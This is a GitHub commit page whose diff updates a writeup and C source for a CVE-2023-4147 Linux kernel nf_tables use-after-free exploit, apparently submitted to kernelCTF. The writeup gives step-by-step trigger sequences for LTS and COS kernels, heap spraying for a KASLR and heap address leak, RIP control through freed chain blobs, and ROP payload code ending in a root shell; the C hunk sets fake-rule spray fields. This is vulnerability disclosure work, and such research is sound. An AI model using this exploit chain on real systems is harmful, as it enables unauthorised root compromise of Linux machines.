Skip to content

Commit

Permalink
update exploit.md and exploit.c
Browse files Browse the repository at this point in the history
  • Loading branch information
kevinrich1337 committed Sep 29, 2024
1 parent 35a1637 commit e0f02c9
Show file tree
Hide file tree
Showing 2 changed files with 67 additions and 29 deletions.
92 changes: 65 additions & 27 deletions pocs/linux/kernelctf/CVE-2023-4147_lts_cos/docs/exploit.md
Original file line number Diff line number Diff line change
Expand Up @@ -36,6 +36,41 @@ static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
}
```
We can trigger the vulnerability in LTS as follows:
- Create three chains, `Base`, `Vulnerable`, and `Victim`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`.
- Create a rule in `Base` with an immediate expr referencing the `Vulnerable`.
- Create a rule in `Vulnerable` with an immediate expr referencing `Victim`.
- Trigger the vulnerability by replacing the rule in `Vulnerable`. This results in the `Victim` having a reference count of 0 `(nft_chain->use)`.
- Delete the rule in `Base` to deactivate the `Vulnerable` again. This results in the `Victim` having a reference count of -1.
We can trigger the vulnerability in COS as follows:
- Create two chains, `Base` and `Vulnerable`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`.
- Create an anonymous set `Victim`.
- Create a set element in set `Victim`.
- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`.
- Create a rule `R2` in `Vulnerable` with an `lookup expr` referencing the `Victim`.
- Delete the `R1`. This results in `Victim` being free from the destroy phase [3].
- Delete the set element in `Victim`. This results in a UAF that references `Victim` that was freed in previous step [4].
```c
static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
...
case NFT_MSG_DELSET:
nft_set_destroy(&trans->ctx, nft_trans_set(trans)); // [3]
break;
case NFT_MSG_DELSETELEM:
nf_tables_set_elem_destroy(&trans->ctx,
nft_trans_elem_set(trans), // [4]
nft_trans_elem(trans).priv);
break;
...
}
```

### LTS Exploit

#### KASLR Bypass
Expand All @@ -45,10 +80,11 @@ The KASLR address is leaked through `chain->name`, which is stored in the verdic
- Create three chains, `Base`, `Vulnerable`, and `Victim`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`.
- Create a rule in `Base` with an immediate expr referencing the `Vulnerable`.
- Create a rule in `Vulnerable` with an immediate expr referencing `Victim`.
- Trigger the vulnerability by replacing the rule in `Vulnerable`. This results in the `Victim` having a reference count of -1.
- Trigger the vulnerability by replacing the rule in `Vulnerable`. This results in the `Victim` having a reference count of 0 `(nft_chain->use)`.
- Delete the rule in `Base` to deactivate the `Vulnerable` again. This results in the `Victim` having a reference count of -1.
- Create an immediate expr in `Base` that references to the Victim, making the `Victim`'s reference count 0, and destroy the `Victim`.
- Spray counter exprs (struct nft_expr) to place it at `Victim`'s chain->name. At this time, the counter exprs are allocated in the `kmalloc-cg-16`.
- We dump the immediate expr of `Base` using `GETRULE` command, we can get the ops address of counter expr through the freed `chain->name` to get the kernel base address [3].
- We dump the immediate expr of `Base` using `GETRULE` command, we can get the ops address of counter expr through the freed `chain->name` to get the kernel base address [5].

```c
int nft_verdict_dump(struct sk_buff *skb, int type, const struct nft_verdict *v)
Expand All @@ -66,7 +102,7 @@ int nft_verdict_dump(struct sk_buff *skb, int type, const struct nft_verdict *v)
case NFT_JUMP:
case NFT_GOTO:
if (nla_put_string(skb, NFTA_VERDICT_CHAIN,
v->chain->name)) // [3]
v->chain->name)) // [5]
goto nla_put_failure;
}
nla_nest_end(skb, nest);
Expand All @@ -83,7 +119,7 @@ We leak the heap address in the same way as we leak the kernel base address. To
#### RIP Control
We use `nft_chain->blob_gen_0` to control the RIP. The `nft_chain->blob_gen_0` is used when evaluating packets in the `nft_do_chain` function [4].
We use `nft_chain->blob_gen_0` to control the RIP. The `nft_chain->blob_gen_0` is used when evaluating packets in the `nft_do_chain` function [6].
```c
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
Expand All @@ -93,7 +129,7 @@ do_chain:
if (genbit)
blob = rcu_dereference(chain->blob_gen_1);
else
blob = rcu_dereference(chain->blob_gen_0); // [4]
blob = rcu_dereference(chain->blob_gen_0); // [6]
rule = (struct nft_rule_dp *)blob->data;
last_rule = (void *)blob->data + blob->size;
Expand All @@ -117,7 +153,7 @@ next_rule:
...
```

To do this, we assign `chain->blob_gen_0` to `kmalloc-cg-64` and trigger the vulnerability. `chain->blob_gen_0` is allocated in the `nf_tables_chain_alloc_rules` when creating new chain [5]. `chain->blob_gen_0` is allocated from the `nf_tables_chain_alloc_rules` when creating a new chain [5].
To do this, we assign `chain->blob_gen_0` to `kmalloc-cg-64` and trigger the vulnerability. `chain->blob_gen_0` is allocated in the `nf_tables_chain_alloc_rules` when creating new chain [7]. `chain->blob_gen_0` is allocated from the `nf_tables_chain_alloc_rules` when creating a new chain [5].

```c
static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
Expand All @@ -126,14 +162,14 @@ static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
{
...
data_size = offsetof(struct nft_rule_dp, data); /* last rule */
blob = nf_tables_chain_alloc_rules(data_size); // [5]
blob = nf_tables_chain_alloc_rules(data_size); // [7]
if (!blob) {
err = -ENOMEM;
goto err_destroy_chain;
}
```
The size used by `kvmalloc` [6] is 40, `offsetof(struct nft_rule_dp, data)` + `sizeof(struct nft_rule_blob)` + `sizeof(struct nft_rules_old)` (8 + 24 + 8), the `blob` object is allocated in `kmalloc-cg-64`.
The size used by `kvmalloc` [8] is 40, `offsetof(struct nft_rule_dp, data)` + `sizeof(struct nft_rule_blob)` + `sizeof(struct nft_rules_old)` (8 + 24 + 8), the `blob` object is allocated in `kmalloc-cg-64`.
```c
static struct nft_rule_blob *nf_tables_chain_alloc_rules(unsigned int size)
Expand All @@ -148,7 +184,7 @@ static struct nft_rule_blob *nf_tables_chain_alloc_rules(unsigned int size)
if (size > INT_MAX)
return NULL;
blob = kvmalloc(size, GFP_KERNEL_ACCOUNT); // [6]
blob = kvmalloc(size, GFP_KERNEL_ACCOUNT); // [8]
if (!blob)
return NULL;
Expand All @@ -159,7 +195,7 @@ static struct nft_rule_blob *nf_tables_chain_alloc_rules(unsigned int size)
}
```

We then spray the `udata` of the `struct nft_table` and place it in freed `blob_gen_0`. Finally, when a packet is sent, a sprayed fake ops address is referenced, resulting in RIP control [7].
We then spray the `udata` of the `struct nft_table` and place it in freed `blob_gen_0`. Finally, when a packet is sent, a sprayed fake ops address is referenced, resulting in RIP control [9].

```c
static void expr_call_ops_eval(const struct nft_expr *expr,
Expand All @@ -170,7 +206,7 @@ static void expr_call_ops_eval(const struct nft_expr *expr,
unsigned long e = (unsigned long)expr->ops->eval;
#define X(e, fun) \
do { if ((e) == (unsigned long)(fun)) \
return fun(expr, regs, pkt); } while (0) // [7]
return fun(expr, regs, pkt); } while (0) // [9]

X(e, nft_payload_eval);
X(e, nft_cmp_eval);
Expand Down Expand Up @@ -251,32 +287,34 @@ void make_payload2(uint64_t* data){

### COS Exploit

Starting with commit [4bedf9ee] (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4bedf9eee016286c835e3d8fa981ddece5338795), it is possible to decrease the reference count of the victim chain in `nft_immediate_deactivate` because nft_rule_expr_deactivate is called in `nft_immediate_deactivate`. Therefore, the exploit in LTS kernel was possible using the method described above. However, in previous versions, `nft_immediate_destroy` calls `nft_rule_expr_deactivate`, so the exploit cannot be used in the same way as LTS kernel. Therefore, COS kernel was exploited in a different way than LTS kenel.

#### Information Leak

The KASLR address and heap address are leaked through `nft_rule` allocated in `kmalloc-cg-192`. The leak process is as follows:

- Create four chains, `Base`, `Vulnerable`, `Chain_Victim`, and `Target`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`.
- Create chains `Chain_Victim2_n`.
- Create chains `Chain_Victim2_n`. In this exploit, 0x30 chains are sprayed.
- Create an anonymous rhash set `Set_Victim`.
- Create a set element in set `Set_Victim`. The element is allocated in `kmalloc-cg-256`.

- Create rules `Rule_Victim2_n` in `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-192`.
- Create rules `Rule_Targret_n` in `Target` with an `counter expr`. The rules are allocated in `kmalloc-cg-192`. The kbase and heap address in the `Rule_Targret_n` are used for leak in following step. We can read the target rule allocated right after the `Rule_Victim2_n`.
- Create rules `Rule_Targret_n` in `Target` with an `last expr`. The rules are allocated in `kmalloc-cg-192`. The kbase and heap address in the `Rule_Targret_n` are used for leak in following step. We can read the target rule allocated right after the `Rule_Victim2_n`.
- Create rules `Rule_Victim_n` in `Chain_Victim` with an `immediate expr` referencing the `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-256`.

- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`.
- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`.
- Delete the `R1`. This results in `Set_Victim` being free from the destroy phase.
- Delete the set element in `Set_Victim`. This results in a UAF that references `Set_Victim` that was freed in previous step.
- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`. We can add the rule to bound chain `Vulnerable` because of the vulnerability.
- Delete the `R1`. When `R1` is destroyed, `nft_immediate_destroy` is called to destroy `R2`, the rule of `Vulnerable` that is bound to `R1`. This results in `Set_Victim` being free in `nft_lookup_destroy` from the destroy phase.
- Delete the set element in `Set_Victim`. This will reference the `Set_Victim` freed in the previous step in the `nf_tables_set_elem_destroy`, causing a UAF.

```c
static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem); // [8]
struct nft_set_ext *ext = nft_set_elem_ext(set, elem); // [10]

if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); // [9]
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); // [11]

kfree(elem);
}
Expand All @@ -286,13 +324,13 @@ static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
static inline struct nft_set_ext *nft_set_elem_ext(const struct nft_set *set,
void *elem)
{
return elem + set->ops->elemsize; // [10]
return elem + set->ops->elemsize; // [12]
}
```

- Spray rhash sets `Set_Spray_n`. When destroying an `nf_tables_set_elem_destroy` element, `nft_set_ext` is used [8], and `nft_set_ext` is retrieved by referencing `set->ops->elemsize` [10]. Thus, a rhash set with `elemsize` of 8 is overwritten by an rbtree set with `elemsize` of 24, causing the `nft_set_elem_expr_destroy` to reference the wrong `nft_set_ext`. We manipulate the offset to destroy the `immedieate expr` in `Rule_Victim_n`, that is allocated after the element, in [9]. This frees `Rule_Victim2_n` in `Chain_Victim2_n`. However, `Chain_Victim2_n` and `Rule_Victim2_n` are remain accessible.
- Spray fake rules using `nft_table->udata` into freed `Rule_Victim2_n` (`kmalloc-cg-192`).
- Get fake rule to obtain kbase (`nft_counter_ops`) and heap address (`nft_rule.list.next` and `nft_rule.list.prev`).
- Spray rhash sets `Set_Spray_n`. When destroying an `nf_tables_set_elem_destroy` element, `nft_set_ext` is used [10], and `nft_set_ext` is retrieved by referencing `set->ops->elemsize` [12]. Thus, a rhash set with `elemsize` of 8 is overwritten by an rbtree set with `elemsize` of 24, causing the `nft_set_elem_expr_destroy` to reference the wrong `nft_set_ext`. We manipulate the offset to destroy the `immedieate expr` in `Rule_Victim_n`, that is allocated after the element, in [11]. This frees `Rule_Victim2_n` of `Chain_Victim2_n` in the `nft_immediate_destroy`. However, `Chain_Victim2_n` and `Rule_Victim2_n` are remain accessible.
- Spray fake rules using `nft_table->udata` into freed `Rule_Victim2_n` (`kmalloc-cg-192`). Set `nft_rule->udata` of the fake rule to 1 and `nft_rule->udata->len` to 0xff.
- Get the fake rule will read 0xff bytes start from `nft_rule->udata`. As a result, we can obtain kbase (`nft_last_ops`) and heap address (`nft_rule.list.next` and `nft_rule.list.prev`) of `Rule_Targret_n`.

#### RIP Control

Expand All @@ -304,7 +342,7 @@ static inline struct nft_set_ext *nft_set_elem_ext(const struct nft_set *set,
- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`.
- Delete the `R1`. This results in `Set_Victim` being free from the destroy phase.
- Delete the set element in `Set_Victim`. This results in a UAF that references `Set_Victim` that was freed in previous step.
- Create rhash sets `Set_Spray_n`. As a result, the RIP is controlled by referencing the fake expr in the `nf_tables_expr_destroy` [11].
- Create rhash sets `Set_Spray_n`. As a result, the RIP is controlled by referencing the fake expr in the `nf_tables_expr_destroy` [13].

```c
static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
Expand All @@ -313,21 +351,21 @@ static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
const struct nft_expr_type *type = expr->ops->type;

if (expr->ops->destroy)
expr->ops->destroy(ctx, expr); // [11]
expr->ops->destroy(ctx, expr); // [13]
module_put(type->owner);
}
```
#### Post RIP
Since RIP control is performed by the destroy worker, we split the ROP into two phases. In the first ROP payload, we overwrite `counter_ops` with `fake ops` address.
Since RIP control is performed by the destroy worker, we split the ROP into two phases. In the first ROP payload, we overwrite `last_ops` with `fake ops` address.
```c
void make_payload(uint64_t* data){
int i = 0;
data[i++] = kbase + pop_rdi_ret;
data[i++] = kbase + counter_ops_addr_off;
data[i++] = kbase + last_ops_addr_off;
data[i++] = kbase + pop_rsi_ret;
data[i++] = heap_addr+0x40; // fake ops
Expand All @@ -343,7 +381,7 @@ void make_payload(uint64_t* data){
}
```

Then, when generating `counter expr`, fake `ops->init` is called and the second ROP payload is executed to get the root shell.
Then, when generating `last expr`, fake `ops->init` is called and the second ROP payload is executed to get the root shell.

```c
void make_payload2(uint64_t* data){
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -619,8 +619,8 @@ void trig(){
memset(fake_rule_data, 'c', 1024);

fake_rule_data[2] = 0xffff; // fake rule handle
fake_rule_data[2] |= (unsigned long) 1 << 56;
fake_rule_data[3] = 0xff;
fake_rule_data[2] |= (unsigned long) 1 << 56; // fake rule udata
fake_rule_data[3] = 0xff; // fake rule udata len

for(int i = 0; i < FAKE_RULE_SPRAY_COUNT; i++){
char *table_name;
Expand Down

0 comments on commit e0f02c9

Please sign in to comment.